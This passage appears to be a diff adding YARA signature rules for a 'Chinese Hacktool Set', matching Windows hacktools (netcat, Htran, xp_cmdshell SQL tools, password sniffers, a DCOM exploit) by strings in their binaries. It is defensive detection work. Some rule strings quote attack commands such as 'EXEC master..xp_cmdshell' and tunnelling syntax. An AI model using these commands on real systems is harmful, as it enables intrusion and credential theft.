+		$s5 = "lstrlen0" fullword ascii
+		$s6 = "Virtual" fullword ascii  /* Goodware String - occured 6 times */
+		$s19 = "RtlUnw" fullword ascii /* Goodware String - occured 1 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 45KB and all of them
+}
+
+rule Dos_NC {
+	meta:
+		description = "Chinese Hacktool Set - file NC.EXE"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "57f0839433234285cc9df96198a6ca58248a4707"
+	strings:
+		$s1 = "nc -l -p port [options] [hostname] [port]" fullword ascii
+		$s2 = "invalid connection to [%s] from %s [%s] %d" fullword ascii
+		$s3 = "post-rcv getsockname failed" fullword ascii
+		$s4 = "Failed to execute shell, error = %s" fullword ascii
+		$s5 = "UDP listen needs -p arg" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 290KB and all of them
+}
+
+rule WebCrack4_RouterPasswordCracking {
+	meta:
+		description = "Chinese Hacktool Set - file WebCrack4-RouterPasswordCracking.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "00c68d1b1aa655dfd5bb693c13cdda9dbd34c638"
+	strings:
+		$s0 = "http://www.site.com/test.dll?user=%USERNAME&pass=%PASSWORD" fullword ascii
+		$s1 = "Username: \"%s\", Password: \"%s\", Remarks: \"%s\"" fullword ascii
+		$s14 = "user:\"%s\" pass: \"%s\" result=\"%s\"" fullword ascii
+		$s16 = "Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)" fullword ascii
+		$s20 = "List count out of bounds (%d)+Operation not allowed on sorted string list%String" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 2 of them
+}
+
+rule HScan_v1_20_oncrpc {
+	meta:
+		description = "Chinese Hacktool Set - file oncrpc.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e8f047eed8d4f6d2f5dbaffdd0e6e4a09c5298a2"
+	strings:
+		$s1 = "clnt_raw.c - Fatal header serialization error." fullword ascii
+		$s2 = "svctcp_.c - cannot getsockname or listen" fullword ascii
+		$s3 = "too many connections (%d), compilation constant FD_SETSIZE was only %d" fullword ascii
+		$s4 = "svc_run: - select failed" fullword ascii
+		$s5 = "@(#)bindresvport.c" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 340KB and 4 of them
+}
+
+rule hscan_gui {
+	meta:
+		description = "Chinese Hacktool Set - file hscan-gui.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1885f0b7be87f51c304b39bc04b9423539825c69"
+	strings:
+		$s0 = "Hscan.EXE" fullword wide
+		$s1 = "RestTool.EXE" fullword ascii
+		$s3 = "Hscan Application " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+rule S_MultiFunction_Scanners_s {
+	meta:
+		description = "Chinese Hacktool Set - file s.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "79b60ffa1c0f73b3c47e72118e0f600fcd86b355"
+	strings:
+		$s0 = "C:\\WINDOWS\\temp\\pojie.exe /l=" fullword ascii
+		$s1 = "C:\\WINDOWS\\temp\\s.exe" fullword ascii
+		$s2 = "C:\\WINDOWS\\temp\\s.exe tcp " fullword ascii
+		$s3 = "explorer.exe http://www.hackdos.com" fullword ascii
+		$s4 = "C:\\WINDOWS\\temp\\pojie.exe" fullword ascii
+		$s5 = "Failed to read file or invalid data in file!" fullword ascii
+		$s6 = "www.hackdos.com" fullword ascii
+		$s7 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
+		$s11 = "The interface of kernel library is invalid!" fullword ascii
+		$s12 = "eventvwr" fullword ascii
+		$s13 = "Failed to decompress data!" fullword ascii
+		$s14 = "NOTEPAD.EXE result.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 8000KB and 4 of them
+}
+
+rule mswin_ntlm_auth {
+	meta:
+		description = "Chinese Hacktool Set - file mswin_ntlm_auth.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "390af28581db224af38a885b7ffad819c9b3be89"
+	strings:
+		$s1 = "Login attempt had result %d" fullword ascii
+		$s2 = "Username string exceeds %d bytes, rejecting" fullword ascii
+		$s3 = "checking domain: '%s', user: '%s'" fullword ascii
+		$s4 = "Usage: %s [-d] [-v] [-A|D LocalUserGroup] [-h]" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 380KB and all of them
+}
+
+rule Dos_GetPass {
+	meta:
+		description = "Chinese Hacktool Set - file GetPass.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
+	strings:
+		$s0 = "GetLogonS" ascii
+		$s3 = "/showthread.php?t=156643" ascii
+		$s8 = "To Run As Administ" ascii
+		$s18 = "EnableDebugPrivileg" fullword ascii
+		$s19 = "sedebugnameValue" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 890KB and all of them
+}
+
+rule update_PcMain {
+	meta:
+		description = "Chinese Hacktool Set - file PcMain.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "aa68323aaec0269b0f7e697e69cce4d00a949caa"
+	strings:
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322" ascii
+		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
+		$s2 = "SOFTWARE\\Classes\\HTTP\\shell\\open\\command" fullword ascii
+		$s3 = "\\svchost.exe -k " fullword ascii
+		$s4 = "SYSTEM\\ControlSet001\\Services\\%s" fullword ascii
+		$s9 = "Global\\%s-key-event" fullword ascii
+		$s10 = "%d%d.exe" fullword ascii
+		$s14 = "%d.exe" fullword ascii
+		$s15 = "Global\\%s-key-metux" fullword ascii
+		$s18 = "GET / HTTP/1.1" fullword ascii
+		$s19 = "\\Services\\" fullword ascii
+		$s20 = "qy001id=%d;qy001guid=%s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 4 of them
+}
+
+rule Dos_sys {
+	meta:
+		description = "Chinese Hacktool Set - file sys.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b5837047443f8bc62284a0045982aaae8bab6f18"
+	strings:
+		$s0 = "'SeDebugPrivilegeOpen " fullword ascii
+		$s6 = "Author: Cyg07*2" fullword ascii
+		$s12 = "from golds7n[LAG]'J" fullword ascii
+		$s14 = "DAMAGE" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule dat_xpf {
+	meta:
+		description = "Chinese Hacktool Set - file xpf.sys"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "761125ab594f8dc996da4ce8ce50deba49c81846"
+	strings:
+		$s1 = "UnHook IoGetDeviceObjectPointer ok!" fullword ascii
+		$s2 = "\\Device\\XScanPF" fullword wide
+		$s3 = "\\DosDevices\\XScanPF" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
+
+rule Project1 {
+	meta:
+		description = "Chinese Hacktool Set - file Project1.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
+	strings:
+		$s1 = "EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'" fullword ascii
+		$s2 = "Password.txt" fullword ascii
+		$s3 = "LoginPrompt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+rule Arp_EMP_v1_0 {
+	meta:
+		description = "Chinese Hacktool Set - file Arp EMP v1.0.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
+	strings:
+		$s0 = "Arp EMP v1.0.exe" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule CN_Tools_MyUPnP {
+	meta:
+		description = "Chinese Hacktool Set - file MyUPnP.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "15b6fca7e42cd2800ba82c739552e7ffee967000"
+	strings:
+		$s1 = "<description>BYTELINKER.COM</description>" fullword ascii
+		$s2 = "myupnp.exe" fullword ascii
+		$s3 = "LOADER ERROR" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1500KB and all of them
+}
+
+rule logfile_daemon {
+	meta:
+		description = "Chinese Hacktool Set - file logfile-daemon.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "132a8f628109cda7eb58c91f1c5e5e626cbfd14a"
+	strings:
+		$s0 = "Error: usage: %s <logfile>" fullword ascii
+		$s1 = "vBWSSSj" fullword ascii /* Goodware String - occured 24 times */
+		$s2 = "t-Ht!Ht" fullword ascii /* Goodware String - occured 25 times */
+		$s3 = "QSUVW3" fullword ascii /* Goodware String - occured 162 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 260KB and all of them
+}
+
+rule CN_Tools_Shiell {
+	meta:
+		description = "Chinese Hacktool Set - file Shiell.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b432d80c37abe354d344b949c8730929d8f9817a"
+	strings:
+		$s1 = "C:\\Users\\Tong\\Documents\\Visual Studio 2012\\Projects\\Shift shell" ascii
+		$s2 = "C:\\Windows\\System32\\Shiell.exe" fullword wide
+		$s3 = "Shift shell.exe" fullword wide
+		$s4 = "\" /v debugger /t REG_SZ /d \"" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1500KB and 2 of them
+}
+
+rule cndcom_cndcom {
+	meta:
+		description = "Chinese Hacktool Set - file cndcom.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "08bbe6312342b28b43201125bd8c518531de8082"
+	strings:
+		$s1 = "- Rewritten by HDM last <hdm [at] metasploit.com>" fullword ascii
+		$s2 = "- Usage: %s <Target ID> <Target IP>" fullword ascii
+		$s3 = "- Remote DCOM RPC Buffer Overflow Exploit" fullword ascii
+		$s4 = "- Warning:This Code is more like a dos tool!(Modify by pingker)" fullword ascii
+		$s5 = "Windows NT SP6 (Chinese)" fullword ascii
+		$s6 = "- Original code by FlashSky and Benjurry" fullword ascii
+		$s7 = "\\C$\\123456111111111111111.doc" fullword wide
+		$s8 = "shell3all.c" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule IsDebug_V1_4 {
+	meta:
+		description = "Chinese Hacktool Set - file IsDebug V1.4.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ca32474c358b4402421ece1cb31714fbb088b69a"
+	strings:
+		$s0 = "IsDebug.dll" fullword ascii
+		$s1 = "SV Dumper V1.0" fullword wide
+		$s2 = "(IsDebuggerPresent byte Patcher)" fullword ascii
+		$s8 = "Error WriteMemory failed" fullword ascii
+		$s9 = "IsDebugPresent" fullword ascii
+		$s10 = "idb_Autoload" fullword ascii
+		$s11 = "Bin Files" fullword ascii
+		$s12 = "MASM32 version" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule HTTPSCANNER {
+	meta:
+		description = "Chinese Hacktool Set - file HTTPSCANNER.EXE"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ae2929346944c1ea3411a4562e9d5e2f765d088a"
+	strings:
+		$s1 = "HttpScanner.exe" fullword wide
+		$s2 = "HttpScanner" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3500KB and all of them
+}
+
+rule HScan_v1_20_PipeCmd {
+	meta:
+		description = "Chinese Hacktool Set - file PipeCmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "64403ce63b28b544646a30da3be2f395788542d6"
+	strings:
+		$s1 = "%SystemRoot%\\system32\\PipeCmdSrv.exe" fullword ascii
+		$s2 = "PipeCmd.exe" fullword wide
+		$s3 = "Please Use NTCmd.exe Run This Program." fullword ascii
+		$s4 = "%s\\pipe\\%s%s%d" fullword ascii
+		$s5 = "\\\\.\\pipe\\%s%s%d" fullword ascii
+		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
+		$s7 = "This is a service executable! Couldn't start directly." fullword ascii
+		$s8 = "Connecting to Remote Server ...Failed" fullword ascii
+		$s9 = "PIPECMDSRV" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 4 of them
+}
+
+rule Dos_fp {
+	meta:
+		description = "Chinese Hacktool Set - file fp.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
+	strings:
+		$s1 = "fpipe -l 53 -s 53 -r 80 192.168.1.101" fullword ascii
+		$s2 = "FPipe.exe" fullword wide
+		$s3 = "http://www.foundstone.com" fullword ascii
+		$s4 = "%s %s port %d. Address is already in use" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 65KB and all of them
+}
+
+rule Dos_netstat {
+	meta:
+		description = "Chinese Hacktool Set - file netstat.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d0444b7bd936b5fc490b865a604e97c22d97e598"
+	strings:
+		$s0 = "w03a2409.dll" fullword ascii
+		$s1 = "Retransmission Timeout Algorithm    = unknown (%1!u!)" fullword wide  /* Goodware String - occured 2 times */
+		$s2 = "Administrative Status  = %1!u!" fullword wide  /* Goodware String - occured 2 times */
+		$s3 = "Packet Too Big            %1!-10u!  %2!-10u!" fullword wide  /* Goodware String - occured 2 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule CN_Tools_xsniff {
+	meta:
+		description = "Chinese Hacktool Set - file xsniff.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
+	strings:
+		$s0 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
+		$s1 = "HOST: %s USER: %s, PASS: %s" fullword ascii
+		$s2 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
+		$s10 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s11 = "%-5s%s->%s Bytes=%d TTL=%d Type: %d,%d ID=%d SEQ=%d" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and 2 of them
+}
+
+rule mswin_check_ad_group {
+	meta:
+		description = "Chinese Hacktool Set - file mswin_check_ad_group.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "15fa3d91c5e4836f27b9809d4efedc5a947fb221"
+	strings:
+		$s1 = "Domain Global group mode enabled using '%s' as default domain." fullword ascii
+		$s2 = "Warning: running in case insensitive mode !!!" fullword ascii
+		$s3 = "Usage: %s [-D domain][-G][-P][-c][-d][-h]" fullword ascii
+		$s4 = "Windows group: %S, Squid group: %S" fullword ascii
+		$s5 = "%s[%d]: " fullword ascii
+		$s6 = "DC Active Directory Site is %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 380KB and 4 of them
+}
+
+rule MSSqlPass {
+	meta:
+		description = "Chinese Hacktool Set - file MSSqlPass.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "172b4e31ed15d1275ac07f3acbf499daf9a055d7"
+	strings:
+		$s0 = "Reveals the passwords stored in the Registry by Enterprise Manager of SQL Server" wide
+		$s1 = "empv.exe" fullword wide
+		$s2 = "Enterprise Manager PassView" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 120KB and all of them
+}
+
+rule WSockExpert {
+	meta:
+		description = "Chinese Hacktool Set - file WSockExpert.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "2962bf7b0883ceda5e14b8dad86742f95b50f7bf"
+	strings:
+		$s1 = "OpenProcessCmdExecute!" fullword ascii
+		$s2 = "http://www.hackp.com" fullword ascii
+		$s3 = "'%s' is not a valid time!'%s' is not a valid date and time" fullword wide
+		$s4 = "SaveSelectedFilterCmdExecute" fullword ascii
+		$s5 = "PasswordChar@" fullword ascii
+		$s6 = "WSockHook.DLL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2500KB and 4 of them
+}
+
+rule Ms_Viru_racle {
+	meta:
+		description = "Chinese Hacktool Set - file racle.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "13116078fff5c87b56179c5438f008caf6c98ecb"
+	strings:
+		$s0 = "PsInitialSystemProcess @%p" fullword ascii
+		$s1 = "PsLookupProcessByProcessId(%u) Failed" fullword ascii
+		$s2 = "PsLookupProcessByProcessId(%u) => %p" fullword ascii
+		$s3 = "FirstStage() Loaded, CurrentThread @%p Stack %p - %p" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 210KB and all of them
+}
+
+rule lamescan3 {
+	meta:
+		description = "Chinese Hacktool Set - file lamescan3.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3130eefb79650dab2e323328b905e4d5d3a1d2f0"
+	strings:
+		$s1 = "dic\\loginlist.txt" fullword ascii
+		$s2 = "Radmin.exe" fullword ascii
+		$s3 = "lamescan3.pdf!" fullword ascii
+		$s4 = "dic\\passlist.txt" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3740KB and all of them
+}
+
+rule CN_Tools_pc {
+	meta:
+		description = "Chinese Hacktool Set - file pc.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5cf8caba170ec461c44394f4058669d225a94285"
+	strings:
+		$s0 = "\\svchost.exe" fullword ascii
+		$s2 = "%s%08x.001" fullword ascii
+		$s3 = "Qy001Service" fullword ascii
+		$s4 = "/.MIKY" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule Dos_Down64 {
+	meta:
+		description = "Chinese Hacktool Set - file Down64.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "43e455e43b49b953e17a5b885ffdcdf8b6b23226"
+	strings:
+		$s1 = "C:\\Windows\\Temp\\Down.txt" fullword wide
+		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
+		$s3 = "C:\\Windows\\Temp\\" fullword wide
+		$s4 = "ProcessXElement" fullword ascii
+		$s8 = "down.exe" fullword wide
+		$s20 = "set_Timer1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule epathobj_exp32 {
+	meta:
+		description = "Chinese Hacktool Set - file epathobj_exp32.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ed86ff44bddcfdd630ade8ced39b4559316195ba"
+	strings:
+		$s0 = "Watchdog thread %d waiting on Mutex" fullword ascii
+		$s1 = "Exploit ok run command" fullword ascii
+		$s2 = "\\epathobj_exp\\Release\\epathobj_exp.pdb" fullword ascii
+		$s3 = "Alllocated userspace PATHRECORD () %p" fullword ascii
+		$s4 = "Mutex object did not timeout, list not patched" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 270KB and all of them
+}
+
+rule Tools_unknown {
+	meta:
+		description = "Chinese Hacktool Set - file unknown.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4be8270c4faa1827177e2310a00af2d5bcd2a59f"
+	strings:
+		$s1 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s2 = "GET /ok.asp?id=1__sql__ HTTP/1.1" fullword ascii
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s4 = "Failed to clear tab control Failed to delete tab at index %d\"Failed to retrieve" wide
+		$s5 = "Host: 127.0.0.1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2500KB and 4 of them
+}
+
+rule PLUGIN_AJunk {
+	meta:
+		description = "Chinese Hacktool Set - file AJunk.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "eb430fcfe6d13b14ff6baa4b3f59817c0facec00"
+	strings:
+		$s1 = "AJunk.dll" fullword ascii
+		$s2 = "AJunk.DLL" fullword wide
+		$s3 = "AJunk Dynamic Link Library" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 560KB and all of them
+}
+
+rule IISPutScanner {
+	meta:
+		description = "Chinese Hacktool Set - file IISPutScanner.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "9869c70d6a9ec2312c749aa17d4da362fa6e2592"
+	strings:
+		$s2 = "KERNEL32.DLL" fullword ascii
+		$s3 = "ADVAPI32.DLL" fullword ascii
+		$s4 = "VERSION.DLL" fullword ascii
+		$s5 = "WSOCK32.DLL" fullword ascii
+		$s6 = "COMCTL32.DLL" fullword ascii
+		$s7 = "GDI32.DLL" fullword ascii
+		$s8 = "SHELL32.DLL" fullword ascii
+		$s9 = "USER32.DLL" fullword ascii
+		$s10 = "OLEAUT32.DLL" fullword ascii
+		$s11 = "LoadLibraryA" fullword ascii
+		$s12 = "GetProcAddress" fullword ascii
+		$s13 = "VirtualProtect" fullword ascii
+		$s14 = "VirtualAlloc" fullword ascii
+		$s15 = "VirtualFree" fullword ascii
+		$s16 = "ExitProcess" fullword ascii
+		$s17 = "RegCloseKey" fullword ascii
+		$s18 = "GetFileVersionInfoA" fullword ascii
+		$s19 = "ImageList_Add" fullword ascii
+		$s20 = "BitBlt" fullword ascii
+		$s21 = "ShellExecuteA" fullword ascii
+		$s22 = "ActivateKeyboardLayout" fullword ascii
+		$s23 = "BBABORT" fullword wide
+		$s25 = "BBCANCEL" fullword wide
+		$s26 = "BBCLOSE" fullword wide
+		$s27 = "BBHELP" fullword wide
+		$s28 = "BBIGNORE" fullword wide
+		$s29 = "PREVIEWGLYPH" fullword wide
+		$s30 = "DLGTEMPLATE" fullword wide
+		$s31 = "TABOUTBOX" fullword wide
+		$s32 = "TFORM1" fullword wide
+		$s33 = "MAINICON" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and filesize > 350KB and all of them
+}
+
+rule IDTools_For_WinXP_IdtTool_2 {
+	meta:
+		description = "Chinese Hacktool Set - file IdtTool.sys"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "07feb31dd21d6f97614118b8a0adf231f8541a67"
+	strings:
+		$s0 = "\\Device\\devIdtTool" fullword wide
+		$s1 = "IoDeleteSymbolicLink" fullword ascii  /* Goodware String - occured 467 times */
+		$s3 = "IoDeleteDevice" fullword ascii  /* Goodware String - occured 993 times */
+		$s6 = "IoCreateSymbolicLink" fullword ascii /* Goodware String - occured 467 times */
+		$s7 = "IoCreateDevice" fullword ascii /* Goodware String - occured 988 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 7KB and all of them
+}
+
+rule hkmjjiis6 {
+	meta:
+		description = "Chinese Hacktool Set - file hkmjjiis6.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
+	strings:
+		$s1 = "comspec" fullword ascii
+		$s2 = "user32.dlly" ascii
+		$s3 = "runtime error" ascii
+		$s4 = "WinSta0\\Defau" ascii
+		$s5 = "AppIDFlags" fullword ascii
+		$s6 = "GetLag" fullword ascii
+		$s7 = "* FROM IIsWebInfo" ascii
+		$s8 = "wmiprvse.exe" ascii
+		$s9 = "LookupAcc" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 70KB and all of them
+}
+
+rule Dos_lcx {
+	meta:
+		description = "Chinese Hacktool Set - file lcx.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b6ad5dd13592160d9f052bb47b0d6a87b80a406d"
+	strings:
+		$s0 = "c:\\Users\\careful_snow\\" ascii
+		$s1 = "Desktop\\Htran\\Release\\Htran.pdb" ascii
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s6 = "=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] " ascii
+		$s7 = "[-] There is a error...Create a new connection." fullword ascii
+		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s13 = "[+] Make a Connection to %s:%d...." fullword ascii
+		$s16 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
+		$s17 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s18 = "[+] Accept a Client on port %d from %s ......" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 2 of them
+}
+
+rule x_way2_5_X_way {
+	meta:
+		description = "Chinese Hacktool Set - file X-way.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8ba8530fbda3e8342e8d4feabbf98c66a322dac6"
+	strings:
+		$s0 = "TTFTPSERVERFRM" fullword wide
+		$s1 = "TPORTSCANSETFRM" fullword wide
+		$s2 = "TIISSHELLFRM" fullword wide
+		$s3 = "TADVSCANSETFRM" fullword wide
+		$s4 = "ntwdblib.dll" fullword ascii
+		$s5 = "TSNIFFERFRM" fullword wide
+		$s6 = "TCRACKSETFRM" fullword wide
+		$s7 = "TCRACKFRM" fullword wide
+		$s8 = "dbnextrow" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 5 of them
+}
+
+rule tools_Sqlcmd {
+	meta:
+		description = "Chinese Hacktool Set - file Sqlcmd.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "99d56476e539750c599f76391d717c51c4955a33"
+	strings:
+		$s0 = "[Usage]:  %s <HostName|IP> <UserName> <Password>" fullword ascii
+		$s1 = "=============By uhhuhy(Feb 18,2003) - http://www.cnhonker.net=============" fullword ascii /* PEStudio Blacklist: os */
+		$s4 = "Cool! Connected to SQL server on %s successfully!" fullword ascii
+		$s5 = "EXEC master..xp_cmdshell \"%s\"" fullword ascii
+		$s6 = "=======================Sqlcmd v0.21 For HScan v1.20=======================" fullword ascii
+		$s10 = "Error,exit!" fullword ascii
+		$s11 = "Sqlcmd>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and 3 of them
+}
+
+rule Sword1_5 {
+	meta:
+		description = "Chinese Hacktool Set - file Sword1.5.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
+	strings:
+		$s3 = "http://www.ip138.com/ip2city.asp" fullword wide
+		$s4 = "http://www.md5decrypter.co.uk/feed/api.aspx?" fullword wide
+		$s6 = "ListBox_Command" fullword wide
+		$s13 = "md=7fef6171469e80d32c0559f88b377245&submit=MD5+Crack" fullword wide
+		$s18 = "\\Set.ini" fullword wide
+		$s19 = "OpenFileDialog1" fullword wide
+		$s20 = " (*.txt)|*.txt" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and 4 of them
+}
+
+rule Tools_scan {
+	meta:
+		description = "Chinese Hacktool Set - file scan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "c580a0cc41997e840d2c0f83962e7f8b636a5a13"
+	strings:
+		$s2 = "Shanlu Studio" fullword wide
+		$s3 = "_AutoAttackMain" fullword ascii
+		$s4 = "_frmIpToAddr" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule Dos_c {
+	meta:
+		description = "Chinese Hacktool Set - file c.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3deb6bd52fdac6d5a3e9a91c585d67820ab4df78"
+	strings:
+		$s0 = "!Win32 .EXE." fullword ascii
+		$s1 = ".MPRESS1" fullword ascii
+		$s2 = ".MPRESS2" fullword ascii
+		$s3 = "XOLEHLP.dll" fullword ascii
+		$s4 = "</body></html>" fullword ascii
+		$s8 = "DtcGetTransactionManagerExA" fullword ascii  /* Goodware String - occured 12 times */
+		$s9 = "GetUserNameA" fullword ascii  /* Goodware String - occured 305 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule arpsniffer {
